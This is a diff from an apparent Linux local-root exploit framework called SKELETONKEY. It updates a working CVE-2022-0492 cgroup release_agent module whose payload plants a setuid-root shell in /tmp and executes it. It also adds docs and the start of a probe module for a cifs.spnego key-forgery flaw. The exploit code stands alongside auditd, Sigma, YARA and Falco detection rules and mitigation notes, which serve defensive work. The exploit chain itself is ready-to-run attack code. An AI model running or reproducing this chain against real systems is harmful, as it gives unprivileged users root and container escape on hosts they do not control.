/* Stable-branch backport thresholds for the fix. */
|
||||
static const struct kernel_patched_from cgroup_ra_patched_branches[] = {
|
||||
{4, 9, 301},
|
||||
@@ -61,7 +71,7 @@ static const struct kernel_patched_from cgroup_ra_patched_branches[] = {
|
||||
{5, 4, 179},
|
||||
{5, 10, 100},
|
||||
{5, 15, 23},
|
||||
{5, 16, 9},
|
||||
{5, 16, 7}, /* Debian tracker: earlier than 5.16.9 in stable */
|
||||
{5, 17, 0}, /* mainline */
|
||||
};
|
||||
|
||||
@@ -71,54 +81,50 @@ static const struct kernel_range cgroup_ra_range = {
|
||||
sizeof(cgroup_ra_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns_mount(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
/* The unprivileged-userns precondition is now read from the shared
|
||||
* host fingerprint (ctx->host->unprivileged_userns_allowed), which
|
||||
* probes once at startup via core/host.c. The previous per-detect
|
||||
* fork-probe helper was removed. */
|
||||
|
||||
static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] cgroup_release_agent: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
|
||||
bool patched = kernel_range_is_patched(&cgroup_ra_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns_mount();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] cgroup_release_agent: user_ns+mount_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
|
||||
fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit -----------------------------------------------------
|
||||
@@ -130,12 +136,12 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
||||
|
||||
static const char PAYLOAD_SHELL[] =
|
||||
"#!/bin/sh\n"
|
||||
"# IAMROOT cgroup_release_agent payload — runs as init-ns root\n"
|
||||
"id > /tmp/iamroot-cgroup-pwned\n"
|
||||
"chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n"
|
||||
"cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n"
|
||||
"chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n"
|
||||
"chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n";
|
||||
"# SKELETONKEY cgroup_release_agent payload — runs as init-ns root\n"
|
||||
"id > /tmp/skeletonkey-cgroup-pwned\n"
|
||||
"chmod 666 /tmp/skeletonkey-cgroup-pwned 2>/dev/null\n"
|
||||
"cp /bin/sh /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
|
||||
"chmod +s /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
|
||||
"chown root:root /tmp/skeletonkey-cgroup-sh 2>/dev/null\n";
|
||||
|
||||
static bool write_file(const char *path, const char *content)
|
||||
{
|
||||
@@ -147,23 +153,26 @@ static bool write_file(const char *path, const char *content)
|
||||
return ok;
|
||||
}
|
||||
|
||||
static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t pre = cgroup_ra_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = cgroup_ra_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Drop the setuid-root-shell payload to a path we can read+exec
|
||||
* later. Payload runs as host root when the cgroup is released. */
|
||||
const char *payload_path = "/tmp/iamroot-cgroup-payload.sh";
|
||||
const char *payload_path = "/tmp/skeletonkey-cgroup-payload.sh";
|
||||
if (!write_file(payload_path, PAYLOAD_SHELL)) {
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
chmod(payload_path, 0755);
|
||||
if (!ctx->json) {
|
||||
@@ -173,12 +182,26 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
/* Fork: child does the exploit; parent waits then verifies + execs
|
||||
* the setuid shell we expect the payload to plant. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* CHILD: enter userns + mountns, become "root" in userns. */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
||||
/* CHILD: enter userns + mountns, become "root" in userns.
|
||||
*
|
||||
* CRITICAL: capture the OUTER uid/gid BEFORE unshare. After
|
||||
* unshare(CLONE_NEWUSER) getuid() returns 65534 (nobody, the initial
|
||||
* unmapped id), so building the map from a post-unshare getuid() writes
|
||||
* "0 65534 1" — which the kernel rejects with EPERM (65534 is not the
|
||||
* writer's real outer uid). Reading it here, pre-unshare, yields the
|
||||
* real "0 1000 1" the single-uid self-map rule requires. */
|
||||
uid_t uid = getuid();
|
||||
gid_t gid = getgid();
|
||||
/* CLONE_NEWCGROUP matters: without a private cgroup namespace the
|
||||
* unprivileged cgroup-v1 mount below is refused with EPERM on modern
|
||||
* kernels (verified on 5.4). With it, mounting an unused v1 controller
|
||||
* (rdma) in the userns succeeds. */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CGRA_CLONE_NEWCGROUP) < 0) {
|
||||
/* fall back to the old flags if NEWCGROUP is unsupported */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
||||
}
|
||||
int f = open("/proc/self/setgroups", O_WRONLY);
|
||||
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
||||
char map[64];
|
||||
@@ -193,7 +216,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
|
||||
/* Mount cgroup v1 (rdma controller — small, simple, works
|
||||
* even on cgroup-v2-first systems). */
|
||||
const char *cgmount = "/tmp/iamroot-cgroup-mnt";
|
||||
const char *cgmount = "/tmp/skeletonkey-cgroup-mnt";
|
||||
mkdir(cgmount, 0700);
|
||||
if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
|
||||
/* Fallback: try memory controller — needs different reach */
|
||||
@@ -206,7 +229,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
* Buffers sized generously vs. cgmount template + "/notify_on_release"
|
||||
* tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
|
||||
char cgdir[384];
|
||||
snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount);
|
||||
snprintf(cgdir, sizeof cgdir, "%s/skeletonkey", cgmount);
|
||||
mkdir(cgdir, 0755);
|
||||
|
||||
/* Write release_agent in the ROOT of the controller (must be
|
||||
@@ -254,9 +277,9 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
"polling for payload execution\n", status);
|
||||
}
|
||||
|
||||
/* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for
|
||||
/* Payload writes /tmp/skeletonkey-cgroup-sh as setuid root. Poll for
|
||||
* its appearance + setuid bit. Up to 5 seconds. */
|
||||
const char *setuid_sh = "/tmp/iamroot-cgroup-sh";
|
||||
const char *setuid_sh = "/tmp/skeletonkey-cgroup-sh";
|
||||
bool got_root = false;
|
||||
for (int i = 0; i < 50; i++) {
|
||||
struct stat st;
|
||||
@@ -271,7 +294,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
|
||||
"Likely patched or cgroup-controller-blocked.\n");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -280,39 +303,67 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
|
||||
fflush(NULL);
|
||||
execl(setuid_sh, "sh", "-p", (char *)NULL);
|
||||
perror("execl");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n");
|
||||
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/skeletonkey-cgroup-*\n");
|
||||
}
|
||||
if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh "
|
||||
"/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
|
||||
if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; "
|
||||
"rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
|
||||
return IAMROOT_OK;
|
||||
if (system("rm -f /tmp/skeletonkey-cgroup-payload.sh /tmp/skeletonkey-cgroup-sh "
|
||||
"/tmp/skeletonkey-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
|
||||
if (system("umount /tmp/skeletonkey-cgroup-mnt 2>/dev/null; "
|
||||
"rmdir /tmp/skeletonkey-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: unshare(CLONE_NEWUSER|CLONE_NEWNS) + cgroup v1
|
||||
* mount are Linux-only kernel surface; the release_agent primitive is
|
||||
* structurally unreachable elsewhere. Stub out cleanly so the module
|
||||
* still registers and `--list` / `--detect-rules` work on macOS/BSD
|
||||
* dev boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] cgroup_release_agent: Linux-only module "
|
||||
"(user_ns + cgroup v1 release_agent) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] cgroup_release_agent: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char cgroup_ra_auditd[] =
|
||||
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
|
||||
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n"
|
||||
"-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n";
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cgroup-ra\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k skeletonkey-cgroup-ra-mount\n"
|
||||
"-w /sys/fs/cgroup -p w -k skeletonkey-cgroup-ra-fswatch\n";
|
||||
|
||||
static const char cgroup_ra_sigma[] =
|
||||
"title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
|
||||
"id: 5c84a37e-iamroot-cgroup-ra\n"
|
||||
"id: 5c84a37e-skeletonkey-cgroup-ra\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape: unprivileged process unshares\n"
|
||||
@@ -328,7 +379,37 @@ static const char cgroup_ra_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
|
||||
|
||||
const struct iamroot_module cgroup_release_agent_module = {
|
||||
static const char cgroup_release_agent_yara[] =
|
||||
"rule cgroup_release_agent_cve_2022_0492 : cve_2022_0492 container_escape\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-0492\"\n"
|
||||
" description = \"cgroup v1 release_agent payload + dropped setuid shell artifacts\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $payload = \"/tmp/skeletonkey-cgroup-payload.sh\" ascii\n"
|
||||
" $shell = \"/tmp/skeletonkey-cgroup-sh\" ascii\n"
|
||||
" $mnt = \"/tmp/skeletonkey-cgroup-mnt\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char cgroup_release_agent_falco[] =
|
||||
"- rule: cgroup v1 mount by non-root with release_agent write\n"
|
||||
" desc: |\n"
|
||||
" A non-root process inside a userns mounts cgroup v1 and\n"
|
||||
" writes to a release_agent file. CVE-2022-0492 trigger:\n"
|
||||
" release_agent runs as init-ns root when cgroup empties.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = mount and evt.arg.fstype = cgroup and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" cgroup v1 mount by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid target=%evt.arg.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [container, mitre_privilege_escalation, T1611, cve.2022.0492]\n";
|
||||
|
||||
const struct skeletonkey_module cgroup_release_agent_module = {
|
||||
.name = "cgroup_release_agent",
|
||||
.cve = "CVE-2022-0492",
|
||||
.summary = "cgroup v1 release_agent privilege check in wrong namespace → host root",
|
||||
@@ -340,11 +421,13 @@ const struct iamroot_module cgroup_release_agent_module = {
|
||||
.cleanup = cgroup_ra_cleanup,
|
||||
.detect_auditd = cgroup_ra_auditd,
|
||||
.detect_sigma = cgroup_ra_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = cgroup_release_agent_yara,
|
||||
.detect_falco = cgroup_release_agent_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS), mount cgroup v1 at /tmp/skeletonkey-cgroup-mnt, write payload path to release_agent file at cgroup root, echo 1 to notify_on_release in subdir, add PID to cgroup.procs and exit. Payload at /tmp/skeletonkey-cgroup-payload.sh runs as init-namespace root when cgroup empties, dropping setuid /tmp/skeletonkey-cgroup-sh. Audit-visible via unshare + mount(cgroup) + open/write of release_agent. Cleanup callback removes /tmp/skeletonkey-cgroup-* and umounts.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void iamroot_register_cgroup_release_agent(void)
|
||||
void skeletonkey_register_cgroup_release_agent(void)
|
||||
{
|
||||
iamroot_register(&cgroup_release_agent_module);
|
||||
skeletonkey_register(&cgroup_release_agent_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
|
||||
#define CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module cgroup_release_agent_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,60 @@
|
||||
# cifswitch — CVE-2026-46243 ("CIFSwitch")
|
||||
|
||||
The kernel's `cifs.spnego` request-key type trusts userspace-forged
|
||||
authority fields, letting the root `cifs.upcall` helper be coerced into
|
||||
loading an attacker NSS module as root.
|
||||
|
||||
## The bug
|
||||
|
||||
`fs/smb/client/cifs_spnego.c` registers the `cifs.spnego` key type so the
|
||||
kernel CIFS client can ask the root-privileged `cifs.upcall` helper to
|
||||
perform a SPNEGO/Kerberos exchange. The key *description* carries
|
||||
authority-bearing fields — `pid`, `uid`, `creduid`, `upcall_target` —
|
||||
that `cifs.upcall` reads as trusted, kernel-originating inputs.
|
||||
|
||||
The flaw: the kernel never verified the request actually came from the
|
||||
in-kernel CIFS client. Userspace can create keys of this type directly
|
||||
through `add_key(2)` / `request_key(2)`, supplying all those fields. By
|
||||
forging a description and manipulating user + mount namespaces, an
|
||||
unprivileged user makes `cifs.upcall` trust attacker-controlled state and
|
||||
load a malicious NSS shared library as root → root code execution.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Flaw age | ~19 years (predates key-type origin checks) |
|
||||
| Fixed upstream | commit `3da1fdf4efbc`, merged 7.1-rc5 |
|
||||
| Debian backports | 5.10.257 · 6.1.174 · 6.12.90 · 7.0.10 |
|
||||
| NVD class | CWE-20 (Improper Input Validation) |
|
||||
| CISA KEV | no (as of disclosure) |
|
||||
|
||||
Branches Debian does not ship (5.15 / 6.6 / 6.8 / 6.11 …) are reported on
|
||||
the version-only verdict; confirm empirically.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` returns `OK` for patched kernels, `PRECOND_FAIL` for a
|
||||
vulnerable kernel where `cifs.upcall` / the `cifs.spnego` request-key rule
|
||||
isn't installed (cifs-utils absent → unreachable), and `VULNERABLE` when
|
||||
both the version and the userspace path line up. The precondition probe
|
||||
can be overridden with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (force present)
|
||||
or `0` (force absent).
|
||||
|
||||
`exploit()` fires the non-destructive primitive: `add_key(2)` of a
|
||||
forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked
|
||||
immediately. A clean accept is the witness that userspace can forge the
|
||||
authority-bearing key type. The full root-pop (namespace switch +
|
||||
malicious NSS load) is **not** bundled until VM-verified — honest
|
||||
`EXPLOIT_FAIL` without a euid-0 witness.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel. As a runtime stopgap, blocklist the `cifs` module —
|
||||
`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
|
||||
(needs root) and `--cleanup` removes it. Already-loaded `cifs` persists
|
||||
until unmount + `rmmod cifs` or reboot.
|
||||
|
||||
## Credit
|
||||
|
||||
Asim Manizada (2026-05-28). See `NOTICE.md`.
|
||||
@@ -0,0 +1,92 @@
|
||||
# NOTICE — cifswitch (CVE-2026-46243, "CIFSwitch")
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46243 "CIFSwitch"** — the Linux kernel's `cifs.spnego`
|
||||
request-key type (`fs/smb/client/cifs_spnego.c`) accepts key descriptions
|
||||
created by **userspace** (via `add_key(2)` / `request_key(2)`) without
|
||||
verifying that the request originated from the in-kernel CIFS client. The
|
||||
key description carries authority-bearing fields — `pid`, `uid`,
|
||||
`creduid`, `upcall_target` — that the root-privileged `cifs.upcall`
|
||||
helper treats as trusted, kernel-originating inputs. An unprivileged
|
||||
local user forges such a description and, combined with user + mount
|
||||
namespace manipulation, coerces `cifs.upcall` into loading an
|
||||
attacker-controlled NSS shared library as root → local privilege
|
||||
escalation to root.
|
||||
|
||||
It is a **~19-year-old** logic flaw — the cifs spnego upcall predates the
|
||||
key-type origin checks added to the keyrings subsystem later. NVD class:
|
||||
**CWE-20** (Improper Input Validation). Not in CISA KEV (as of disclosure).
|
||||
|
||||
**Preconditions:** the `cifs` kernel module available, `cifs-utils`
|
||||
installed (so `cifs.upcall` is present), and the `cifs.spnego`
|
||||
request-key rule active. Default-vulnerable distributions reported
|
||||
include Linux Mint, CentOS Stream 9, Rocky Linux 9, AlmaLinux 9, Kali
|
||||
Linux, SLES 15 SP7, and Red Hat Enterprise Linux 6–10.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered, named, and disclosed by **Asim Manizada** on **2026-05-28**,
|
||||
with a working proof-of-concept published the same day.
|
||||
|
||||
- Red Hat advisory (RHSB-2026-005):
|
||||
<https://access.redhat.com/security/vulnerabilities/RHSB-2026-005>
|
||||
- BleepingComputer write-up:
|
||||
<https://www.bleepingcomputer.com/news/security/new-cifswitch-linux-flaw-gives-root-on-multiple-distributions/>
|
||||
- Upstream fix: commit `3da1fdf4efbc490041eb4f836bf596201203f8f2`
|
||||
("smb: client: reject userspace cifs.spnego descriptions"), merged
|
||||
7.1-rc5.
|
||||
- Debian-tracked stable backports: 5.10.257 (bullseye) / 6.1.174
|
||||
(bookworm) / 6.12.90 (trixie) / 7.0.10 (forky, sid).
|
||||
|
||||
All research credit for finding and analysing this bug belongs to Asim
|
||||
Manizada. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
|
||||
`detect()` gates on the kernel version (the Debian backport thresholds
|
||||
above) **and** the presence of the vulnerable userspace path
|
||||
(`cifs.upcall` / the `cifs.spnego` request-key rule) — a vulnerable
|
||||
kernel without `cifs-utils` is reported `PRECOND_FAIL`, not `VULNERABLE`.
|
||||
Override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (or `0`).
|
||||
|
||||
`exploit()` fires only the reachable, **non-destructive** part of the
|
||||
primitive: it attempts to register a forged-but-benign `cifs.spnego` key
|
||||
as the unprivileged user via `add_key(2)` — which instantiates the key
|
||||
directly and does **not** invoke `cifs.upcall`, so it loads nothing and
|
||||
spawns no privileged helper — and revokes the key immediately. A clean
|
||||
accept is the empirical witness that the missing-origin-validation flaw
|
||||
is present. It then **stops**: the namespace-switch + malicious-NSS-load
|
||||
chain that actually lands a root shell is target/config-specific and is
|
||||
**not** bundled until it can be verified end-to-end against a real
|
||||
vulnerable VM, in keeping with the project's no-fabrication rule.
|
||||
`exploit()` returns `EXPLOIT_FAIL` unless it can witness euid 0.
|
||||
|
||||
`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
|
||||
(blocklists the `cifs` module — the vendor-recommended runtime
|
||||
mitigation); `--cleanup` removes it. Architecture-agnostic — keyring and
|
||||
namespace logic, no shellcode.
|
||||
|
||||
## Verification status (partial)
|
||||
|
||||
Verified **2026-06-08** on **Ubuntu 24.04.4 LTS, kernel 6.8.0-117-generic**
|
||||
(QEMU/HVF, x86_64):
|
||||
|
||||
- `modprobe cifs` registers the `cifs.spnego` key type (dmesg:
|
||||
`Key type cifs.spnego registered`) — `cifs-utils` is **not** required to
|
||||
reach the primitive.
|
||||
- An **independent** `python3` `ctypes` probe calling
|
||||
`add_key("cifs.spnego", <forged uid/creduid/upcall_target>)` was
|
||||
**ACCEPTED** (a plain `user`-key control was also accepted), and the
|
||||
module's own `exploit()` independently reported **primitive CONFIRMED**
|
||||
then the honest `EXPLOIT_FAIL`.
|
||||
- `detect()` returned `PRECOND_FAIL` with `cifs-utils` absent and
|
||||
`VULNERABLE` under `SKELETONKEY_CIFS_ASSUME_PRESENT=1`.
|
||||
|
||||
**Still pending** (so this stays 🟡 and is *not* counted as a verified
|
||||
end-to-end CVE): (a) confirming `add_key` is **rejected** on a *patched*
|
||||
kernel (≥ 6.12.90 / 7.0.10) — i.e. that the probe distinguishes
|
||||
fixed-from-vulnerable rather than the key type always permitting userspace
|
||||
creation; and (b) the full namespace + malicious-NSS root-pop, which
|
||||
remains unbundled.
|
||||
@@ -0,0 +1,419 @@
|
||||
/*
|
||||
* cifswitch_cve_2026_46243 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-46243 "CIFSwitch" — the kernel's `cifs.spnego` request-key
|
||||
* type accepts key descriptions created by *userspace* (via add_key(2) /
|
||||
* request_key(2)) without verifying the request originated from the
|
||||
* in-kernel CIFS client. Those descriptions carry authority-bearing
|
||||
* fields (`pid`, `uid`, `creduid`, `upcall_target`) that the
|
||||
* root-privileged `cifs.upcall` helper trusts as kernel-originating.
|
||||
* An unprivileged user forges a description and — combined with user +
|
||||
* mount namespace manipulation — coerces `cifs.upcall` into loading an
|
||||
* attacker-controlled NSS shared library as root → local root.
|
||||
*
|
||||
* Disclosed by Asim Manizada, 2026-05-28 (public PoC same day). A
|
||||
* ~19-year-old bug: the cifs spnego upcall predates the key-type origin
|
||||
* checks added later. Fixed upstream by commit 3da1fdf4efbc (merged
|
||||
* 7.1-rc5): "smb: client: reject userspace cifs.spnego descriptions".
|
||||
* NVD: CWE-20 (Improper Input Validation). Not in CISA KEV.
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
|
||||
* Structural logic flaw — no offsets, no race, no shellcode. detect()
|
||||
* gates on (a) the kernel version (Debian-tracked backports below) and
|
||||
* (b) the presence of the vulnerable userspace path: the `cifs.upcall`
|
||||
* helper / `cifs.spnego` request-key rule. A vulnerable kernel without
|
||||
* cifs-utils is not reachable via this technique, so that case is
|
||||
* PRECOND_FAIL, not VULNERABLE. exploit() fires the reachable,
|
||||
* non-destructive part of the primitive — it attempts to register a
|
||||
* forged-but-benign `cifs.spnego` key as the unprivileged user (via
|
||||
* add_key(2), which does NOT invoke cifs.upcall) and observes whether
|
||||
* the kernel accepts a userspace-originated description — then STOPS.
|
||||
* The namespace-switch + malicious-NSS-load that turns that into a
|
||||
* root shell is target/config-specific and is not bundled until it can
|
||||
* be VM-verified end-to-end. Honest EXPLOIT_FAIL without a euid-0
|
||||
* witness; never fabricates root.
|
||||
*
|
||||
* Affected range (Debian-tracked stable backports of the fix):
|
||||
* 5.10.x : K >= 5.10.257 (bullseye)
|
||||
* 6.1.x : K >= 6.1.174 (bookworm)
|
||||
* 6.12.x : K >= 6.12.90 (trixie)
|
||||
* 7.0.x : K >= 7.0.10 (forky / sid); mainline fixed 7.1-rc5
|
||||
* Branches Debian doesn't track (5.15 / 6.6 / 6.8 / 6.11 ...) fall
|
||||
* through to the version-only verdict — confirm empirically.
|
||||
*
|
||||
* Preconditions: cifs kernel module available + cifs-utils installed
|
||||
* (`cifs.upcall` present) + the `cifs.spnego` request-key rule active.
|
||||
* Override the precondition probe with SKELETONKEY_CIFS_ASSUME_PRESENT
|
||||
* = 1 (force present) / 0 (force absent) when you know the fleet's CIFS
|
||||
